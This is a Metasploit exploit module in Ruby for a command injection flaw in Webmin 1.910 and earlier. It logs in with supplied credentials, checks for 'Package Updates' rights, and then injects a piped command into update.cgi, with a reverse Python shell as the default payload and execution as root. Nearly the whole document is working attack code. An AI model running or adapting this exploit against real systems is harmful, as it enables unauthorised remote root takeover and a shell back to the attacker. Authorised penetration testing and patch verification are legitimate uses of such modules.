Webmin 1.910 Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Webmin <= 1.910 - "Package Updates" Remote Command Execution',  
'Description' => %q(  
This module exploits an arbitrary command execution vulnerability in Webmin  
1.910 and lower versions. Any user authorized to the "Package Updates"  
module can execute arbitrary commands with root privileges.  
  
),  
'Author' => [  
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-'],  
['URL', 'https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html']  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 512,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'DefaultOptions' =>  
{  
'RPORT' => 10000,  
'SSL' => false,  
'PAYLOAD' => 'cmd/unix/reverse_python' # its depends  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [['Webmin <= 1.910', {}]],  
'DisclosureDate' => 'May 16 2019',  
'DefaultTarget' => 0)  
)  
register_options [  
OptString.new('USERNAME', [true, 'Webmin Username']),  
OptString.new('PASSWORD', [true, 'Webmin Password']),  
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])  
]  
end  
  
def peer  
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"  
end  
  
def login  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'session_login.cgi'),  
'cookie' => 'testing=1',  
'vars_post' => {  
'page' => '',  
'user' => datastore['USERNAME'],  
'pass' => datastore['PASSWORD']  
}  
})  
  
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/  
return $1  
end  
  
return nil unless res  
''  
end  
##  
# Target and input verification  
##  
def check  
cookie = login  
return CheckCode::Detected if cookie == ''  
return CheckCode::Unknown if cookie.nil?  
  
vprint_status('Attempting to execute...')  
# check package update priv  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "package-updates/"),  
'cookie' => "sid=#{cookie}"  
})  
  
if res && res.code == 200 && res.body =~ /Software Package Update/  
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")  
return CheckCode::Vulnerable  
end  
print_error("#{datastore['USERNAME']} has not the right to >>Package Update<<")  
print_status("Please try with another user account!")  
CheckCode::Safe  
end  
##  
# Exploiting phase  
##  
def exploit  
cookie = login  
if cookie == '' || cookie.nil?  
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')  
end  
print_good("Session cookie: #{cookie}")  
  
res = send_request_raw(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),  
'headers' =>  
{  
'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1"  
},  
'cookie' => "redirect=1; testing=1; sid=#{cookie}"  
)  
unless res && res.code == 200  
fail_with(Failure::Unknown, 'Request failed')  
end  
  
print_status("Attempting to execute the payload...")  
exec(cookie)  
  
end  
  
def exec(cookie)  
  
command = payload.encoded  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'cookie' => "sid=#{cookie}",  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),  
'headers' =>  
{  
'Referer' => "#{peer}/package-updates/?xnavigation=1"  
},  
'data' => "u=acl%2Fapt&u=%20%7C%20#{command}&ok_top=Update+Selected+Packages"  
})  
  
end  
end  
##  
# The end of the adventure (o_O) // AkkuS  
##  
`